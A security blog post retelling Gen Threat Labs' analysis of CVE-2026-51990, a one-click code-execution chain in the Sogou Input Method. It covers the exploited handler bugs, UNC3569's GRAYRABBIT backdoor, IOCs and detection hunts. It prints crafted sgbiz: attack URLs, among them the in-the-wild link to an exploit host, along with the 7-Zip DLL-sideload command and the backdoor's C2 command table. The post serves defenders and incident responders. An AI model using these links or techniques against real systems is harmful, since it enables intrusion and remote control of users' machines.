core-jmp core-jmpdeath of core jump

Gray Rabbits and the Tale of a One-Click Backdoor: CVE-2026-51990 in Sogou Input Method

Gen Threat Labs: CVE-2026-51990 one-click RCE in Sogou IME — sgbiz: argument injection, skincenter CEF, Chromium 80 unsandboxed. UNC3569 dropped GRAYRABBIT in the wild. Tencent patched the handler in 12 days; the browser is still 2020.

oxfemale September 16, 2026 23 min read 205 reads
Export PDF
Gray Rabbits and the Tale of a One-Click Backdoor: CVE-2026-51990 in Sogou Input Method
Original text: "Gray Rabbits and the Tale of a One-Click Backdoor"Alexandru-Cristian Bardaș, Gen Digital / Gen Threat Labs (10 September 2026; 26-minute read). Figures, the command table, IOCs and published URLs below are reproduced with attribution. We do not add a working V8 exploit beyond what Gen already published as screenshots and ITW URLs.
A keyboard with an IME window glowing and a rabbit-shaped USB stick
One click on a custom protocol is enough when the IME ships a 2020 browser with the cage open.
Six-step diagram from sgbiz click to GRAYRABBIT C2
CVE-2026-51990 is the front door. GRAYRABBIT is what UNC3569 carried through it.

Executive Summary

On 10 September 2026 Alexandru-Cristian Bardaș of Gen Threat Labs published the story of CVE-2026-51990: a one-click remote code execution chain in Sogou Input Method, the Chinese IME that sits on hundreds of millions of Windows machines. The chain is three failures, not one genius bug. The custom protocol sgbiz: will launch a legitimate Sogou binary with attacker-chosen arguments. Those arguments can point the skin-store CEF webview at any URL. That webview is Chromium 80 from March 2020, with the sandbox off and same-origin policy disabled. UNC3569 used it in the wild: one link, CVE-2021-38003 in V8, a 921-byte downloader, 7-Zip DLL sideload, and the GRAYRABBIT backdoor that Google has tracked since at least 2021.

Tencent patched the protocol handler in 12 days (version 16.3.0.3498). The embedded browser is still old, still unsandboxed, still running with web security off — it just can no longer be aimed from a link. This draft keeps every original figure (full Drupal files, not the Next.js 640px derivatives), the command table, and the IOC list, then adds the kitchen picture and hunts.

One click. Three critical failures. One backdoor.

Alexandru-Cristian Bardaș, Gen Threat Labs, 10 September 2026
Kitchen table: An IME is the translator sitting between your keys and the OS. Sogou also registered a private postal code, sgbiz:. Click a letter with that stamp and Windows hands it to the house clerk. The clerk checks which room you named, then shouts whatever you wrote on the envelope into that room. One of the rooms is a 2020 browser with the lock off. That is the tale.

Key Points

  • Gen Threat Labs found CVE-2026-51990 in Sogou Input Method — hundreds of millions of installs, Tencent-owned.
  • Three weaknesses: unvalidated param on sgbiz:, unrestricted CEF navigation in skincenter, Chromium 80 with no sandbox and SOP disabled.
  • UNC3569 exploited it in the wild to drop GRAYRABBIT via a crafted link.
  • Reported to Tencent; patched in automatic update 16.3.0.3498 (12 days). The CEF stack itself was not upgraded.

Introduction

If you are reading this on a computer in China, Sogou Input Method is a reasonable prior. It is a Windows IME with the usual modern extras: an embedded browser, an updater, custom protocol handlers so the pieces can talk. Gen did not find this in a lab first. They were in an UNC3569 intrusion and the process tree started inside Sogou. That was the rabbit hole. The other end was a single crafted link and a backdoor, no click beyond the link itself.

They reported it to Tencent. It was patched. MITRE assigned CVE-2026-51990. The rest of the post is the three bugs, then what UNC3569 did with them.

Overview of the attack chain from sgbiz link to GRAYRABBIT
Figure 1. Overview of the attack chain. Source: original article.
For operators: Initial-access hunts that stop at Office macros will miss this. Parent of the first evil process is biz_helper.exe / SGMyInput.exe / SGWebRender.exe, not WinWord. If you have Sogou in the estate, sgbiz: is a protocol you should log like ms-msdt: after Follina.

The Attack Surface: How Sogou Input Method Talks to Itself

Sogou is not one EXE. Components speak through a Windows-registered custom scheme: sgbiz:. Any app, any webpage, any click that opens such a URL is handed to biz_helper.exe. The handler parses the URL and dispatches. A typical call looks like:

sgbiz:sg_process?module=sgmyinput.exe&param=-page=skincenter

The path (sg_process, component, td_process) selects the handler. Query parameters name the executable, arguments, working directory. That is where the first hole sits.

Kitchen table: Windows keeps a list of stamps it will accept on envelopes. https: goes to the browser. mailto: goes to mail. sgbiz: goes to Sogou’s clerk. The clerk is supposed to only open doors inside the Sogou apartment. The module check is the door list. The param field is the note you shout through the door — and nobody reads it first.

Vulnerability 1: Unvalidated Argument Injection in biz_helper.exe

For sg_process, biz_helper.exe pulls five parameters: module (which Sogou EXE), param (argv), work_dir, start_mode (CreateProcessW vs ShellExecuteW), start_show.

Module is actually checked: forbidden characters \ / : * ? " < > |, MAX_PATH, resolved under the install directory, GetFileAttributesW so it exists and is not a directory. That blocks path traversal to arbitrary binaries. They missed param.

IDA snippet of path traversal and file checks on module
Figure 2. IDA snippet for the path traversal and file checks. Source: original article.

Param is URL-decoded once via mbdup and passed unmodified as the command line of whatever module named. No sanitization, no allowlist, no filter.

IDA snippet of param key extraction and mbdup only
Figure 3. IDA snippet for the “param” key extraction and the sole “mbdup” filter. Source: original article.

So an attacker can inject arbitrary arguments into any Sogou executable reachable through sg_process. That is the door to vulnerability 2.

IDA snippet of SGMyInput launch via CreateProcessW or ShellExecuteW
Figure 4. IDA snippet for the launch of SGMyInput via either CreateProcessW or ShellExecuteW. Source: original article.
For operators: CWE-88 (argument injection) plus CWE-20 on param. Module hardening is real; it is also a classic “we locked the path, we forgot argv.” Hunt: process create where parent is biz_helper.exe and command line contains -url= or -firsturl=.

Vulnerability 2: Unrestricted URL Navigation in SGMyInput.exe

The crafted URL aims at SGMyInput.exe, the config UI:

sgbiz:sg_process?module=sgmyinput.exe&param=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fattacker.com%252Fexploit.html

After decode, param is:

-page=skincenter -url=https://attacker.com/exploit.html

-page picks the UI module. Most pages (fuzzy, confignormal, personcenter, keyset) are native Win32 dialogs. skincenter is the skin marketplace. It is the only path that creates a CEF webview. That is why the operators picked it. When the view is ready, SkinCenterWebViewEvent::OnWebViewIsReady checks wszCustomUrl from -url. If set, it copies it and navigates. No scheme check. No host allowlist. http, https, file, data, javascript — all accepted.

IDA snippet of missing checks on custom URL, direct navigation
Figure 5. IDA snippet for the missing checks on the custom URL, showcasing direct navigation. Source: original article.

The happy path would load internal hosts such as https://sogoupyskin/, https://page.sogou/, https://res.sogou/. With a custom URL, those registrations are irrelevant. The attacker URL flows from the protocol handler into a CEF window that goes wherever it is told.

Kitchen table: Skincenter is the one room in the apartment with a television. Every other room is a paper form. The clerk shouts “turn the TV to this channel” and the TV has no parental lock. Channel can be a website you do not own.

Vulnerability 3: A Browser Engine from 2020, Running Without a Sandbox

Rendering is in SGWebRender.exe, a thin launcher: it builds the path to SGMiniBrowserHelperHost1.0.0.8.dll, LoadLibraryExW, GetBrowserManagerInstance, Run.

IDA snippet of load and call into SGMiniBrowserHelperHost DLL
Figure 6. IDA snippet showcasing the load and call into SGMiniBrowserHelperHost1.0.0.8.dll. Source: original article.

CefBrowserInit enables high-DPI, parses GetCommandLineW, then cef_execute_process for children or PopulateCefSettings plus cef_initialize for the browser. OnBeforeCommandLineProcessing appends extra Chromium switches. libcef.dll is CEF 80.1.16 / Chromium 80.0.3987.163 — about March 2020, six years and ~60 major versions behind stable at analysis time. Hundreds of public CVEs, including V8 bugs that are code execution from JavaScript.

PopulateCefSettings sets no_sandbox = TRUE. A renderer exploit then has the user’s privileges. There is no Chromium sandbox to hop.

IDA snippet displaying disabling of CEF sandbox
Figure 7. IDA snippet displaying the disabling of CEF’s sandbox. Source: original article.
An old browser frame inside a modern laptop with the sandbox cage open
Kitchen: a 2020 television with the child-lock factory-set to off, bolted into a 2026 apartment.

ConfigureCefCommandLineSwitches then adds disable-web-security (no SOP), allow-file-access-from-files, plus GPU/spell-check noise. The first two are gated on bDisableWebSecurity, hardcoded to 1 by SGWebRender.exe. Not a config bit. Always on.

IDA snippet where bDisableWebSecurity is set in SGWebRender.exe
Figure 8. IDA snippet showing where the bDisableWebSecurity flag is set in SGWebRender.exe. Source: original article.
IDA snippet of bDisableWebSecurity extraction in the helper host
Figure 9. IDA snippet for the bDisableWebSecurity flag extraction in SGMiniBrowserHelperHost. Source: original article.

Even without a V8 exploit, no SOP means the page can talk to intranet services with the user’s cookies/NLA context and leak the responses. Combined with no sandbox, exploitation is as easy as CEF gets.

IDA snippet of the conditional that disables web security and allows file access
Figure 10. IDA snippet showing the conditional that disables web security and allows file access. Source: original article.
For operators: Chromium 80 + no_sandbox + disable-web-security is not “defense in depth failed.” It is defense in depth never installed. Any public renderer RCE from 2020–2026 is in scope. UNC3569 picked CVE-2021-38003 because it is boring and it works.

Putting It All Together

  1. Attacker delivers an sgbiz: URL (mail, chat, web).
  2. Click: Windows → biz_helper.exe. module=sgmyinput.exe passes the file check. param is not checked.
  3. SGMyInput.exe starts with -page=skincenter -url=https://attacker/…. OnWebViewIsReady navigates there.
  4. SGWebRender.exe (Chromium 80, no sandbox, SOP off) loads the page. JS exploit for any post-80 V8 CVE.
  5. No sandbox → user-level code execution. The current user is the ceiling, which on a workstation is usually enough.

The entire chain is one click.

Kitchen table: Stamp the envelope sgbiz:. The clerk opens the TV room. The TV is six years old, unlocked, and will visit any channel. The channel plays a magic trick from 2021. There is no cage around the magician. That is “one click.”

Observed in the Wild: UNC3569’s GRAYRABBIT Backdoor

This was not a lab toy. Gen found it in an active UNC3569 intrusion. UNC3569 is a PRC-nexus cluster (Google Threat Intelligence): n-days in popular software, mix of custom and commercial tools, government/education/tech/finance, East and Southeast Asia. Possible business ties to i-SOON (2024 leak). The map is the VB2024 paper Down the GRAYRABBIT Hole.

The URL they sent:

sgbiz:sg_process?module=sgmyinput.exe&param=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fnoht1ng.top%252Ffuckujjbangx.html

noht1ng.top served a JS exploit for CVE-2021-38003 — V8 type confusion in JSON.stringify, Chrome before 95.0.4638.69. Chromium 80 is a free hit.

Code snippet creating the hole value in the V8 exploit
Figure 11. Code snippet showcasing the creation of “the hole”. Source: original article.

The hole corrupted V8 Maps via makeMapOdd, then arbitrary heap R/W, then a WebAssembly instance (RWX in that era of V8), shellcode on the WASM page, jump through the export. We are not reprinting a working exploit. The screenshots are the source’s.

Code snippet writing shellcode and executing it via WASM
Figure 12. Code snippet displaying the writing of the shellcode and its execution. Source: original article.

The Shellcode: Download and Sideload

921-byte x64 PIC downloader. Call/pop for a base, PEB InLoadOrderModuleList, ROR8 hash for kernel32, LoadLibraryW, Urlmon, URLDownloadToFileA.

IDA snippet of the ROR8 hash function
Figure 13. IDA snippet showcasing the hash function. Source: original article.

Functionally this is RABBITFUR’s job — GTIG’s documented UNC3569 downloader that pulled XOR-wrapped GRAYRABBIT from an open directory — folded into the V8 shellcode instead of a separate EXE. Same pattern, smaller package for a browser vector.

Three files from 8.218.50[.]207 (Alibaba Cloud, Hong Kong), written to C:\Users\Public\Documents\:

  • 7z.exe — legitimate 7-Zip, sideload host.
  • 7zp.dll — trojanized loader, internal name boy.dll; saved on disk as 7z.dll.
  • p — encrypted blob, final RAT.

Then CreateProcessA with CREATE_NO_WINDOW (0x08000000):

c:\users\public\documents\7z.exe a c:\users\public\documents\p.7z c:\users\public\documents\p

The archive command is a prop. 7z.exe loads 7z.dll from its own directory. The fake DLL wins. 7-Zip never has to finish the archive.

Kitchen table: The magician does not drop a virus named virus.exe. He drops a real 7-Zip, a fake translator DLL with the honest name, and a locked suitcase. He asks 7-Zip to zip the suitcase. 7-Zip puts on the translator. The translator is the thief.
For operators: T1574.002 DLL search order. Hunt: 7z.exe running from Users\Public\Documents, child of SGWebRender, with 7z.dll same folder, command line archiving a file named p. Open-directory HTTP from that process to Alibaba HK is the fetch.

The Loader: Anti-Sandbox and Self-Deletion

The DLL exports the usual 7-Zip names (CreateDecoder, CreateEncoder, CreateObject, GetHandlerProperty, …) as empty stubs. Only GetModuleProp is live — 7z.exe calls it at init.

Same PEB/ROR8 resolution as the shellcode. Reads p into memory. Anti-sandbox: CreateToolhelp32Snapshot, count processes, threshold 50 (0x32). If count ≥ 50 (real box), replace the count with 0. If count < 50 (sandbox), keep the real count. XOR key = (deterministic float mill, 50,000 sqrt/multiply/reciprocal iterations) XOR (gate) XOR 0x098838B0. On a real machine gate is 0 and the key is right. In a sandbox the leftover count poisons the key and the blob is garbage. Then DWORD-XOR every four bytes.

IDA snippet of the floating-point algorithm for part of the XOR key
Figure 14. IDA snippet showing the floating-point algorithm used in determining part of the XOR key. Source: original article.

Decrypted bytes go to VirtualAlloc RWX and run via thread pool (CreateThreadpoolWork / SubmitThreadpoolWork / WaitForThreadpoolWorkCallbacks), not CreateThread.

Self-delete is NTFS ADS: open self with DELETE (0x10000) and FILE_SHARE_READ, SetFileInformationByHandle FileRenameInfo (3) to a random ADS (e.g. :aB3xRt), FileDispositionInfo (4) DeleteFile=TRUE, close, reopen, disposition again. When handles drop, the file is gone. No DeleteFileW in the log.

For operators: Sandbox analysts: a box with <50 processes will never decrypt. Don’t “optimize” your VM down to a quiet process list. IR: 7z.dll that self-renames to an ADS then marks delete is not 7-Zip.

The Payload: GRAYRABBIT Backdoor

Two-stage blob: 0xC7-byte PIC stub, then XOR-encrypted PE (0x42800 bytes) with key 0x33. Stub call/pop, +0xBF to ciphertext, decrypt, walk export dir with RVA-to-file-offset (PE not mapped yet), first export by ordinal CoreClientInstall, call with PE base. That packaging — short decryptor + single-byte XOR PE + CoreClientInstall — is GTIG’s standard GRAYRABBIT wrapper since at least 2021.

Decrypted PE is x64 GRAYRABBIT, internal name core.dll, exports CoreClientInstall (reflective loader) and CoreClientStart (RAT loop). x64 vs older x86: byte-encoded C2 domain, bigger command set.

CoreClientInstall: hash-resolve VirtualAlloc, RWX image-sized alloc, copy sections, relocs, imports via ntdll LdrGetDllHandle / LdrGetProcedureAddress (hashed), VirtualProtect per section, DllMain DLL_PROCESS_ATTACH, hash-resolve CoreClientStart and call it.

IDA snippet of CoreClientInstall
Figure 15. IDA snippet displaying the CoreClientInstall function. Source: original article.

CoreClientStart decrypts C2: domain mail.uaiubifas[.]top split across a 16-byte XMM constant plus the two-byte literal “op”, port 0x1BB (443), raw TCP not TLS. Every 0x1000-byte frame is RC4 with six-byte key m5b1u3, S-box reset per frame. gethostbyname, connect, keepalive (10s / 5s retry), SO_REUSEADDR. On drop: closesocket, WSAStartup again, Sleep(0x2710).

Receive thread: up to 0x1000 bytes, RC4, dispatch on 4-byte type. RTTI: SRMsg base, NormalMsg vs FileMsg.

  • 0x6D7367FF (“msg”+0xFF) — NormalMsg, command handler.
  • 0x66696C65 (“file”) — FileMsg, file task system.
IDA snippet of the C2 recv loop
Figure 16. IDA snippet displaying the C2 recv loop for the backdoor. Source: original article.

Frames are exactly 4096 bytes, zero-padded, RC4. NormalMsg header 12 bytes: magic, payload length, command ID, then up to 4084 UTF-8. FileMsg header 0x108: magic, length, 1-byte op (‘s’ start, ‘c’ chunk, ‘e’ end), 255-byte path, up to 3832 data. ‘s’ creates a queue entry, ‘c’ appends, ‘e’ sets status 2.

Commands 0–9 ride NormalMsg. FileMsg is only the data channel. Dispatch:

Command IDMSG TypeDetails
0NormalMsgExecute a process silently (CreateProcessW with the payload as a command line)
1NormalMsgStart an interactive reverse shell (CreateProcessA “cmd” with piped stdin/stdout/stderr)
2NormalMsgNo-op / reserved
3NormalMsgWrite data to the interactive shell’s stdin pipe (requires an active shell from cmd 1)
4NormalMsgClose the interactive shell and terminate its process
5NormalMsgLoad a plugin module from the C2 (see below)
6NormalMsgCollect and send system information
7NormalMsgSelf-terminate (unload all plugins, then TerminateProcess on the current process)
8NormalMsgNo-op / file request acknowledgment (also sent by the client to request a file)
9NormalMsgUpload a local file to the C2 (reads the file path from the payload)
defaultNormalMsgDispatch to loaded plugin modules via their vtable handlers
GRAYRABBIT command table. Source: original article.

Command 5: payload is a UTF-8 path. If the path is not in the transfer queue, spawn a download thread that sends NormalMsg 8 with that path; C2 answers with FileMsg s/c/e; the thread polls ~2s until status 2. If already status 2, skip download. Then reflective-load like CoreClientInstall, resolve a hashed export, keep the module on a linked list. Unknown command IDs go to those vtables. Runtime plugins without replacing the core.

IDA snippet of command ID 5 plugin loader logic
Figure 17. IDA snippet showcasing the logic for command ID 5. Source: original article.

Command 6 beacon: IPv4 via GetAdaptersAddresses (up Ethernet/Wi-Fi with a gateway), gethostname, GetUserNameA, GetModuleFileNameA, GetProcessId, formatted:

<ip_address>+<hostname>+<username>+<exename>:<pid>

Disclosure Timeline and Fix

  • 9 April 2026 — reported to security@tencent.com with a full write-up and 90-day clock (ISO/IEC 29147:2018).
  • 10 April 2026 — Tencent ACK, assessment starts.
  • 21 April 2026 — fix complete, auto-update to all users, version 16.3.0.3498.
  • 4 May 2026 — CVE requested at MITRE.
  • 10 July 2026 — CVE-2026-51990 assigned.

Twelve days report-to-patch is fast; Gen says so. Tencent called the chain “relatively complex” and said it needs social engineering so the user “actively authorize[s] the browser’s pop-up prompt,” and asked platforms to intercept illicit links. The update blocks the path Gen saw. The browser is still outdated, still unsandboxed, still security-stripped. Gen thinks those pieces still need work. Update Sogou anyway.

Kitchen table: The landlord changed the mail slot so it will only accept letters addressed to sogou.com / qq.com / woa.com. That is a good day. The television in the skin room is still a 2020 set with the lock off. They just stopped letting strangers shout channels through the slot.

What was Fixed

The whole fix is in biz_helper.exe. The handler now spots URL switches by name (-url, -firsturl — the two SGMyInput accepts). InternetCrackUrlW, reject anything that is not HTTPS (http, ftp, data, javascript, …), hostname lowercased, suffix allowlist: sogou.com, qq.com, woa.com, sogou. Suffix match is right-to-left with a leading dot, so skins.sogou.com matches and attacker-sogou.com does not.

CEF was not touched. In the patched SGWebRender.exe and helper DLL, no_sandbox is still 1, bDisableWebSecurity is still 1, the same bad switches are still appended. The ancient browser is still there. It is just no longer reachable from an external protocol URL with an attacker host. At writing time, biz_helper also gained a browser-context module argument whitelist and a dangerous-param blocklist. CEF version and flags: still unchanged.

For operators: Do not close the ticket as “Chromium updated.” It was not. Close as “protocol handler allowlist.” Re-open if any other Sogou binary still takes -url, or if a local process can still start SGMyInput with those args without going through biz_helper.

Indicators of Compromise

File hashes (SHA256) — as published:

  • 29c7ee41d0cc9e07d981e451df56d0c3d37c41ac4ec10c7b516cc033ee397a63 — 7zp.dll (trojanized DLL loader, internal name: boy.dll)
  • 749160a2f20f82744026719cf72e483595c6aad718efa74d675a98662e02422e — p (encrypted PE loader shellcode)
  • D7a3c7eb94edc0e020f74c678743d71d61e944634aade4a67a96c3589e828b3a — GRAYRABBIT backdoor (internal name: core.dll)

Network indicators — as published (defanged):

  • mail.uaiubifas[.]top — GRAYRABBIT C2 (port 443, raw TCP, RC4)
  • noht1ng[.]top — exploit page
  • 8.218.50[.]207 — staging (Alibaba Cloud, Hong Kong)
# hunts that do not need the V8 sample
# 1. protocol child
ParentImage: biz_helper.exe
CommandLine: *sgmyinput* *skincenter* *-url=*

# 2. sideload
Image: *\\Users\\Public\\Documents\\7z.exe
CommandLine: * a *\\p.7z *\\p

# 3. C2
tcp.dstport == 443 and tls.handshake is missing
dns.qry.name == "mail.uaiubifas.top"

A glossary

TermKitchenOperator
IME / SogouThe translator between keys and Windows.Chinese input method; Tencent; huge install base.
sgbiz:A private stamp Windows will deliver.Custom protocol → biz_helper.exe.
param vs moduleDoor name checked; the shouted note is not.CWE-88 on argv after a real path check.
skincenterThe one room with a TV.Only SGMyInput page that creates CEF.
Chromium 80 / no_sandbox2020 TV, child-lock off.CEF 80.1.16; CefSettings.no_sandbox=TRUE.
GRAYRABBITThe rabbit in the suitcase.UNC3569 first-stage; core.dll; cmds 0–9.
7z.dll sideloadHonest zipper, fake translator.T1574.002 from Public\Documents.
Dual-audience glossary. Terms from the original article.

What Tencent fixed versus what is still in the apartment

Twelve days is a serious vendor response. The remaining risk is honest too: a protocol allowlist is a front door. An unsandboxed Chromium 80 is still a television. Local code, another Sogou component, or a future handler that forgets the new checks can aim it again. Hardening that lasts is: update libcef, turn the sandbox on, stop hardcoding disable-web-security, and keep the protocol allowlist.

Why an IME is a better initial-access gadget than a browser

Browsers update weekly. IMEs update when the vendor feels like it, and they persist because people need to type. Sogou’s install base is the reason UNC3569 bothered: n-day economics. One protocol handler, hundreds of millions of endpoints, a Chromium that stopped in 2020. Custom URL schemes on productivity software (IMEs, launchers, skin stores, updaters) are the post-Follina pattern. ms-msdt was Office. sgbiz: is the keyboard.

The module check is the part that looks like a security review happened. Forbidden path characters, MAX_PATH, install-dir resolve, GetFileAttributesW. That review stopped at “do not run calc.exe.” It did not ask “what if we run our own EXE with their argv.” SGMyInput.exe is a blessed module. -url is a blessed-looking flag. Chromium 80 is a blessed-looking skin shop. Each layer is locally reasonable. The product of the three is RCE.

Kitchen table: You can lock the liquor cabinet and still let a stranger shout cocktail recipes through the door of your own bar. The bar is Sogou. The recipe is -url. The bartender is six years behind on poison-control bulletins.

CEF 80 as a time capsule of public V8

Gen does not need a 0-day in V8. Chromium 80 predates Chrome 95’s fix for CVE-2021-38003 by more than a year of stable releases, and the hole-in-JSON.stringify bug is public with write-ups (STAR Labs “TheHole New World”). Any later renderer RCE — there are dozens — would also work. UNC3569 picked a boring, reliable one. That is n-day taste, not research taste.

no_sandbox means the renderer is not a renderer in the Chrome-security sense. It is a JavaScript VM with the user’s token. disable-web-security is a second gift: even a failed RCE still has an intranet browser that will ignore SOP and read file: URLs. The patch in biz_helper does not turn those flags off. It only stops strangers from choosing the first URL. A local process that still starts SGMyInput with -url= would get the same TV.

For operators: If you inventory CEF: record libcef.dll ProductVersion, CefSettings.no_sandbox, and whether OnBeforeCommandLineProcessing adds disable-web-security. Sogou 16.3.0.3498 can still fail that inventory. Protocol allowlist ≠ engine patch.

GRAYRABBIT on the wire, for hunters who will not reverse core.dll

You do not need the VB2024 paper to write a first-pass detector. Raw TCP 443, 4096-byte frames, RC4 with a six-byte key that is static for the campaign, magic 0x6D7367FF or 0x66696C65 at the start of plaintext. Beacon is a plus-separated ASCII string with a colon before the PID. Plugins arrive as FileMsg s/c/e then a reflective load. That is enough for a Zeek script and an EDR rule. The rest of the implant (thread pool, ADS self-delete, process-count XOR) is how they stay on disk after the click.

LayerWhat to logFalse-positive note
Protocolsgbiz: in mail/chat/browserRare in enterprise mail outside CN IME users
Processbiz_helper → SGMyInput -url=Legit skincenter should hit sogou.com only after the patch
FetchSGWebRender / Urlmon to non-Sogou hostsSkin CDN is sogou/qq; HK Alibaba IP is not
Sideload7z.exe from Public\DocumentsAlmost never legitimate
C2TCP 443, no TLS, 4k framesLots of non-TLS 443 exists; pair with magic/beacon
Hunt matrix derived from the Gen write-up. Not a substitute for their IOCs.

RABBITFUR used to be a standalone downloader. Folding it into 921 bytes of V8 shellcode is the only “new” delivery trick in this campaign, and it exists because the initial access is a browser, not a dropped EXE. The XOR key mill and the 50-process gate are anti-analysis, not anti-enterprise-EDR. A real workstation sails through. A clean VM does not. That is a sandbox problem, not a SOC problem — unless your detonation pipeline is too quiet.

The 12-day patch and the remaining television

ISO 29147, 90-day clock, Tencent done in 12, auto-update pushed. That is the part of the story that should be copied. The part that should not be copied is calling a one-click Chromium-80 chain “relatively complex” and blaming a browser pop-up prompt. Gen’s ITW URL does not require the user to be a CEF engineer. It requires the user to click a link Windows already knows how to route. Asking “all platform providers to intercept illicit links” is not a substitute for sandbox=on.

Suffix allowlists are better than nothing and have a known class of bugs (attacker-sogou.com vs .sogou.com). Gen says they prepended a dot and compare right-to-left. Good. Still test: nested userinfo, IDN, https://sogou.com.attacker.tld, https://not-sogou.com with a -url that appears twice, and -firsturl. Also test starting SGMyInput.exe with those args from a random process that is not biz_helper. The front door is not the only door to the TV room.

Kitchen table: Fast locksmiths are rare and should be praised. Fast locksmiths who leave the TV on and unlocked are still leaving the TV on. If someone in the apartment can change the channel without going through the mail slot, the story is not over.

Reading this next to Follina, ms-appinstaller, and search-ms

The last five years of Windows initial access are mostly “the OS will hand this URL to a trusted helper.” MSDT, appinstaller, search-ms, now an IME protocol. Attackers did not get more clever about memory corruption. They got more patient about finding helpers that still speak 2015’s threat model: our EXE, their arguments, no quotes, no allowlist. If your attack-surface program only lists browsers and Office, add every HKCR protocol installed by IMEs, game launchers, and OEM utilities.

  1. Enumerate HKCR\*\shell\open\command and custom protocols on a gold image.
  2. For each helper, ask: does argv from the URL reach a browser, a script host, or a command line?
  3. If yes, treat it like CVE-2026-51990 until proven otherwise.

Key Takeaways

  • CVE-2026-51990 is one-click RCE in Sogou IME via sgbiz: argument injection + skincenter CEF + Chromium 80 unsandboxed.
  • UNC3569 used it in the wild: CVE-2021-38003, 7-Zip sideload, GRAYRABBIT (core.dll) to mail.uaiubifas[.]top:443 RC4.
  • Tencent patched biz_helper in 12 days (16.3.0.3498). HTTPS + suffix allowlist. CEF flags and version unchanged.
  • Custom protocols on IMEs/updaters/skin stores are 2026’s ms-msdt. Log them.
  • Process-count XOR gates fail open on quiet sandboxes. Don’t starve the VM.
  • Update Sogou. Hunt Public\Documents\7z.exe and raw TCP 443 to the published C2.

Defensive Recommendations

  1. Patch. Sogou Input Method 16.3.0.3498 or later on every Windows image that has it. Confirm the version, not “it auto-updates.”
  2. Protocol. Alert on sgbiz: in mail, chat, and browser; treat like other dangerous handlers.
  3. Telemetry. biz_helper.exe → SGMyInput.exe with -url=; SGWebRender.exe → URLDownloadToFile; 7z.exe from Public\Documents.
  4. Network. Sinkhole noht1ng[.]top, mail.uaiubifas[.]top, 8.218.50[.]207. Raw TCP 443 without TLS from workstations is a signal.
  5. Hashes. The three SHA-256s above in EDR. Internal names boy.dll / core.dll.
  6. Vendor follow-up. Ask Tencent when libcef and no_sandbox will move. Allowlist is not a browser patch.
  7. IME estate. Inventory which IMEs register protocols and which ship CEF. Sogou is this CVE; it will not be the last skin-store browser.
  8. IR. If you saw the link, assume GRAYRABBIT plugins. Command 5 is a second-stage loader.

Conclusion

An IME is supposed to turn keystrokes into characters. This one also registered a protocol, launched a config UI, and kept a six-year-old browser with the cage open so the skin shop would look pretty. UNC3569 needed one click and a 2021 V8 bug. Tencent closed the mail slot in twelve days and left the television. Update the IME. Watch the protocol. Do not confuse a fast patch with a modern browser.

Original text: “Gray Rabbits and the Tale of a One-Click Backdoor” by Alexandru-Cristian Bardaș at Gen Digital / Gen Threat Labs.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion